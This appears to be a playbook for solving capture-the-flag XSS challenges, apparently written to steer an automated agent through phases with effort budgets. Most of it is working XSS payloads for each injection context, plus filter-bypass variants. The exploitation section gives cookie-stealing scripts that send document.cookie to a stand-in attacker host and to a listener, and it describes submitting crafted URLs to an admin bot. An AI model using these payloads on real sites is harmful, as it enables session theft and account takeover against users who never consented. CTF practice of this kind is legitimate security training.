# XSS Strategy

## Phase 1: Input Point Discovery (budget: 15%)
1. Map all input reflection points: URL params, form fields, headers (Referer, User-Agent), fragment
2. For each param, submit `<test123>` and search response for it — confirms reflection
3. Check reflection context: inside HTML tag, attribute value, JavaScript string, script block, CSS
4. Check response headers: `Content-Type` (must be text/html), `Content-Security-Policy`, `X-XSS-Protection`

**Decision point:** If no reflection found → try stored XSS (submit via form, check if rendered on another page). If CSP blocks inline scripts → analyze CSP for bypasses.

## Phase 2: Context-Specific Payload (budget: 20%)

### HTML body context
```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

### Attribute context (inside `value="..."`)
```
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
"><script>alert(1)</script>
```

### JavaScript string context (inside `var x = '...'`)
```
';alert(1)//
'-alert(1)-'
\';alert(1)//
```

### URL/href context
```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

## Phase 3: Filter Bypass (budget: 30%)
If basic payloads are filtered:
1. **Case variation:** `<ScRiPt>`, `<IMG SRC=x OnErRoR=alert(1)>`
2. **Encoding:** `&#x3c;script&#x3e;`, URL encoding `%3Cscript%3E`
3. **Tag alternatives:** `<details open ontoggle=alert(1)>`, `<body onload=alert(1)>`
4. **Event handler alternatives:** `onfocus`, `onblur`, `oninput`, `oncut`, `oncopy`
5. **Without parentheses:** `<img src=x onerror=alert`1`>`, `throw/alert/1//`
6. **Without alert:** `confirm(1)`, `prompt(1)`, `console.log(document.cookie)`

## Phase 4: Exploitation for Flag (budget: 35%)
1. If challenge requires "alert the flag": inject `<script>alert(FLAG_VAR)</script>` or read from DOM
2. If challenge requires cookie theft: `<script>fetch('http://attacker/?c='+document.cookie)</script>`
3. If challenge requires admin action: craft URL with XSS payload, submit to admin bot
4. Check if flag is in: page source comments, admin dashboard, cookie value, localStorage

**For bot-based XSS challenges:**
- Set up a listener: `python3 -m http.server 8888`
- Payload: `<script>fetch('http://HOST:8888/?'+document.cookie)</script>`
- Submit the crafted URL to the "report" or "contact admin" form
- Check listener for incoming request with flag/cookie

## Pivot Triggers
- No reflection → try SSTI (same input points, different payloads like `{{7*7}}`)
- CSP blocks everything → check for JSONP endpoints, CDN script gadgets, base-uri missing
- Stored XSS needed but no storage mechanism found → try HTTP request smuggling, cache poisoning
